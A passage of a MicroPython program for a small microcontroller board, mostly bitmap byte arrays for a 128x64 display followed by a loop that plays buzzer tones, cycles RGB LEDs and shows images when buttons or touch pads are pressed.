0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
])
bmp_labplus4 = bytearray([\
# /* 0X22,0X01,0X80,0X00,0X40,0X00, */
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X70,0X70,0X70,0X70,0X70,0XFE,0XFE,0XFE,0X70,0X70,0X70,0X70,0X70,
0X00,0X00,0X1C,0X1C,0X1C,0X1C,0X1C,0X1C,0X1C,0X1C,0XFC,0XFC,0XFC,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X18,0X18,0X18,0XD8,0XFC,0XDC,0X1C,0X1C,0X1C,0X1C,0XDC,0XFC,
0XFC,0X1C,0X1C,0X0C,0X0C,0X8C,0XFC,0XEE,0X6E,0X0E,0X0C,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0XFE,0XFE,0XFE,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,
0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0X00,
0X00,0X00,0X1C,0X9C,0X9C,0X9C,0X1C,0X1C,0XFF,0XFF,0XFF,0XFC,0X1C,0X1C,0X1C,0X1C,
0X00,0X00,0XFC,0XFC,0XFC,0X1C,0X1C,0X1C,0X1C,0X1C,0X1F,0X1F,0X1F,0X00,0X00,0X00,
0X00,0X00,0X3F,0X3F,0X3F,0XC7,0XC7,0XC7,0XC7,0XC7,0XF7,0XF7,0XF7,0XF7,0XC7,0XC7,
0XC7,0XC7,0XC7,0XC7,0XC7,0XC7,0XC7,0XC7,0XC7,0XC7,0X3F,0X3F,0X3F,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0XFF,0XFF,0XFF,0X3C,
0X3C,0X3C,0X3C,0X3C,0X3C,0X3C,0X3C,0X3C,0X3C,0X3C,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X01,0X01,0X01,0X01,0X01,0X01,0X01,0X01,0X01,0X01,0X01,0X01,0X01,
0X01,0X01,0X01,0X01,0X01,0X01,0X01,0X01,0X01,0X01,0X01,0X01,0X01,0X01,0X01,0X00,
0X00,0X00,0X00,0XFF,0XFF,0XFF,0XF0,0XC0,0XFF,0XFF,0XFF,0XFF,0X0E,0X0E,0X0E,0X0E,
0X00,0X00,0X1F,0X3F,0X3F,0X78,0X70,0X70,0X70,0X70,0X70,0X3E,0X3F,0X1E,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X81,0XC1,0XE1,0XF9,0X7F,0X3F,0X3F,0X7D,0XFD,0XFD,0XDD,
0X9D,0X9D,0X9D,0XDD,0XDD,0XFD,0XFD,0X7D,0X39,0X09,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0XFF,0XFF,0XFF,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X1C,0X3F,0X1F,0X03,0X01,0X03,0X07,0X0F,0X0F,0X0F,0X0E,0X1E,0X1C,0X1C,
0X1C,0X1C,0X1C,0X1C,0X1C,0X1C,0X1C,0X1C,0X1C,0X1C,0X1C,0X1C,0X1C,0X1C,0X04,0X00,
0X00,0X00,0X0C,0X1E,0X1F,0X0F,0X07,0X03,0X01,0X1C,0X1C,0X1C,0X1C,0X0E,0X0F,0X0F,
0X07,0X07,0X07,0X07,0X0F,0X0F,0X0E,0X1E,0X1C,0X1C,0X1C,0X1C,0X04,0X00,0X00,0X00,
0X00,0X0E,0X0E,0X0E,0X0E,0X0E,0X0E,0X0E,0X0E,0X0E,0X0E,0X0F,0X0F,0X0F,0X0F,0X0F,
0X0E,0X0E,0X0E,0X0E,0X0E,0X0E,0X0E,0X0E,0X0E,0X0E,0X0E,0X0E,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
])
bmp_labplus5 = bytearray([\
#/* 0X22,0X01,0X80,0X00,0X40,0X00, */
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0XC0,0XC0,0XC0,
0XF0,0XF0,0XF0,0XC0,0XC0,0XC0,0XC0,0X00,0X60,0X60,0X60,0X60,0X60,0X60,0X60,0XE0,
0XE0,0X00,0X00,0X00,0X00,0X00,0X00,0X60,0X60,0X60,0XE0,0X60,0X60,0X60,0X60,0XE0,
0XE0,0X60,0X60,0X70,0X70,0XF0,0XF0,0XB0,0X30,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0XF0,0XF0,0XF0,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0XC0,0XC0,0XD0,0XF0,0XF8,0XF0,0XC0,0XC0,
0XC0,0XF8,0XF8,0XF8,0XC0,0XC0,0XC0,0XE0,0XF8,0XF0,0XD0,0XC0,0XC0,0X00,0X00,0X00,
0X00,0X00,0X00,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,
0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0X00,0X00,0X00,0X18,0X98,0X98,0X18,
0X1F,0XFF,0XFF,0X38,0X18,0X18,0X18,0X00,0X00,0XF8,0XF8,0X18,0X18,0X18,0X18,0X1F,
0X1F,0X00,0X00,0X00,0X00,0X00,0X3C,0X3C,0XCC,0XCE,0XCF,0XCF,0XFC,0XEC,0XEC,0XCF,
0XCF,0XCE,0XCC,0XCC,0XCE,0XCF,0XCF,0XCC,0XCC,0X3C,0X3C,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0XFF,0XFF,0XFF,0X38,0X38,0X38,0X38,0X38,0X38,
0X38,0X38,0X38,0X00,0X00,0X00,0X00,0X00,0X0F,0X0F,0X01,0X01,0X3D,0X3D,0X25,0X25,
0XA5,0XA5,0XA5,0XA5,0XA5,0XA5,0XAD,0XBD,0XFD,0X81,0X01,0X0F,0X0F,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0XC0,0XFF,0XFF,0XF0,
0XE0,0XFF,0XFF,0X87,0X87,0X07,0X07,0X00,0X00,0X1F,0X1F,0X18,0X18,0X18,0X18,0X18,
0X1F,0X1F,0X02,0X00,0X00,0X00,0X00,0X80,0XC0,0XF0,0X7C,0X3F,0X1F,0X3F,0X7C,0XFC,
0XEC,0XCC,0XCC,0XEC,0XFC,0XBC,0X1C,0X0C,0X00,0X00,0X00,0X00,0X00,0X00,0X80,0X80,
0X80,0X80,0X80,0X80,0X80,0X80,0X80,0XFF,0XFF,0XFF,0X80,0X80,0X80,0X80,0X80,0X80,
0X80,0X80,0X80,0X80,0X80,0X00,0X00,0X00,0X40,0X4C,0X4D,0X4D,0X4D,0X4D,0X4D,0X4D,
0X4D,0XFF,0XFF,0XFF,0X4D,0X4D,0X4D,0X4D,0X4D,0X4C,0X4C,0X4C,0X40,0X40,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X03,0X07,0X00,0X00,
0X00,0X01,0X01,0X03,0X03,0X03,0X03,0X03,0X03,0X03,0X03,0X03,0X03,0X03,0X03,0X03,
0X03,0X03,0X01,0X00,0X00,0X01,0X03,0X03,0X01,0X00,0X00,0X03,0X03,0X03,0X03,0X03,
0X01,0X01,0X01,0X01,0X03,0X03,0X03,0X03,0X03,0X07,0X01,0X00,0X00,0X00,0X01,0X03,
0X03,0X03,0X03,0X03,0X03,0X03,0X03,0X03,0X03,0X03,0X03,0X03,0X03,0X03,0X03,0X03,
0X03,0X03,0X03,0X03,0X03,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X06,0X06,
0X06,0X07,0X07,0X03,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
])
bmp_labplus6 = bytearray([\
# /* 0X22,0X01,0X80,0X00,0X40,0X00, */
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0XC0,0XC0,0X80,0X00,0X00,
0X00,0X00,0XC0,0XC0,0XC0,0XC0,0XC0,0XC0,0XC0,0X00,0X00,0X00,0X00,0X00,0X80,0X80,
0X80,0X80,0XC0,0XC0,0XC0,0XC0,0XC0,0XC0,0XC0,0XC0,0XC0,0XC0,0XC0,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0XC0,0XC0,0XC0,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X40,0XC0,0XC0,0X00,0X00,0X00,0XE0,
0XE0,0X00,0X00,0X00,0XC0,0XE0,0X40,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0XE0,0XC0,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0XC0,0XC0,0X80,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0XC0,0XC0,0XC0,0XC0,0XC0,0XC0,0XC0,0XC0,0XC0,0XC0,0XC0,0XC0,0XC0,0XC0,
0XC0,0XC0,0XC0,0XC0,0XC0,0X00,0X00,0X00,0XB1,0XB1,0X31,0X3F,0XFF,0XFB,0X31,0X31,
0X30,0X00,0XF0,0XF0,0X10,0X10,0X10,0X1F,0X1F,0X00,0X00,0X00,0X00,0X38,0X38,0XC8,
0XCF,0XCF,0XFC,0XF8,0XE8,0XCF,0XCF,0XCC,0XC8,0XCC,0XCF,0XCF,0XC8,0X38,0X38,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0XFF,0XFF,0XFF,0X30,0X30,0X30,0X30,
0X30,0X30,0X30,0X00,0X00,0X00,0X00,0X0F,0X0F,0X83,0XBB,0XBB,0XAB,0XAB,0XAB,0XAB,
0XAB,0XAB,0XAB,0XEB,0XFB,0XFB,0X83,0X0F,0X0F,0X00,0X00,0X00,0X06,0X86,0XFF,0XFF,
0X86,0X00,0X07,0XE7,0X73,0X3B,0X1B,0X03,0X03,0X1B,0X1B,0X33,0XE7,0X27,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X80,0XFF,0X7F,0X38,0X70,0X7F,0XFF,0XC3,0XC3,
0XC3,0XC0,0XC7,0XCF,0XCC,0XCC,0XCC,0XCC,0XCF,0XC7,0X40,0X00,0X00,0XC0,0XE0,0X70,
0X78,0X1F,0X8F,0XCF,0XDE,0XFE,0X76,0X66,0X76,0XFE,0XDE,0XCE,0XC4,0XC0,0X80,0X00,
0X00,0X00,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XE0,0XFF,0XFF,0XFF,0XE0,0XE0,0XE0,0XE0,
0XE0,0XE0,0XE0,0XE0,0X00,0X00,0X00,0X30,0X34,0X35,0X35,0X35,0XB5,0XB5,0XB5,0XFF,
0XFF,0X34,0X34,0X34,0X34,0X34,0X34,0X34,0X30,0X00,0X00,0X01,0XC3,0XC3,0XFF,0X7F,
0X01,0XC0,0XC0,0XC3,0XC3,0XC3,0XC3,0XFF,0XFF,0XC3,0XC3,0XC3,0XC3,0XC0,0XC0,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X01,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X01,0X01,0X01,0X01,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
])
'''
fb1 = framebuf.FrameBuffer(bmp_labplus1,128,64, framebuf.MONO_VLSB)
display.blit(fb1,0,0)
display.show()
'''
buzz = PWM(Pin(16), freq = 500, duty = 0)
touchPad_P = TouchPad(Pin(27))
touchPad_Y = TouchPad(Pin(14))
touchPad_T = TouchPad(Pin(12))
touchPad_H = TouchPad(Pin(13))
touchPad_O = TouchPad(Pin(15))
touchPad_N = TouchPad(Pin(4))
# 按键引脚初始化
BTNA = Pin(0, Pin.IN)
#BTNB = Pin(2, Pin.IN)
#BTNC = Pin(27, Pin.IN, Pin.PULL_UP)
BTNB = Pin(2, Pin.IN, Pin.PULL_UP)
# pixles
color_index = 0
color = ((32, 0, 0), (0, 32, 0), (0, 0, 32),(0, 0, 0))
def Rgb_Neopixel():
global color_index,color
for i in range(0, 3):
rgb[i] = color[color_index]
rgb.write()
color_index = color_index + 1
color_index = color_index % 3
def Rgb_Neopixel_0():
global color_index,color
for i in range(0, 1):
rgb[i] = color[color_index]
rgb.write()
color_index = color_index + 1
color_index = color_index % 3
def Rgb_Neopixel_2():
global color_index,color
for i in range(2, 3):
rgb[i] = color[color_index]
rgb.write()
color_index = color_index + 1
color_index = color_index % 3
buzz.freq(300)
buzz.duty(512)
time.sleep_ms(100)
buzz.duty(0)
while True:
if BTNB.value() == 0 and BTNA.value() == 0:
buzz.freq(3000)
buzz.duty(512)
time.sleep_ms(100)
Rgb_Neopixel()
elif BTNA.value() == 0:
buzz.freq(1000)
buzz.duty(512)
time.sleep_ms(80)
Rgb_Neopixel_0()
elif BTNB.value() == 0:
# led_pin.value(1)
buzz.freq(2000)
buzz.duty(512)
time.sleep_ms(100)
Rgb_Neopixel_2()
elif(touchPad_P.read() < 80):
buzz.freq(300)
buzz.duty(512)
fb1 = framebuf.FrameBuffer(bmp_labplus1,128,64, framebuf.MONO_VLSB)
display.blit(fb1,0,0)
display.show()
time.sleep_ms(20)
elif(touchPad_Y.read() < 80):
buzz.freq(400)
buzz.duty(512)
fb1 = framebuf.FrameBuffer(bmp_labplus2,128,64, framebuf.MONO_VLSB)
display.blit(fb1,0,0)
display.show()
time.sleep_ms(20)
elif(touchPad_T.read() < 80):
buzz.freq(500)
buzz.duty(512)
fb1 = framebuf.FrameBuffer(bmp_labplus3,128,64, framebuf.MONO_VLSB)
display.blit(fb1,0,0)
display.show()
time.sleep_ms(20)
elif(touchPad_H.read() < 80):
buzz.freq(600)
buzz.duty(512)
fb1 = framebuf.FrameBuffer(bmp_labplus4,128,64, framebuf.MONO_VLSB)
display.blit(fb1,0,0)
display.show()
time.sleep_ms(20)
elif(touchPad_O.read() < 80):
buzz.freq(700)
buzz.duty(512)
fb1 = framebuf.FrameBuffer(bmp_labplus5,128,64, framebuf.MONO_VLSB)
display.blit(fb1,0,0)
display.show()
time.sleep_ms(20)
elif(touchPad_N.read() < 80):
buzz.freq(800)
buzz.duty(512)
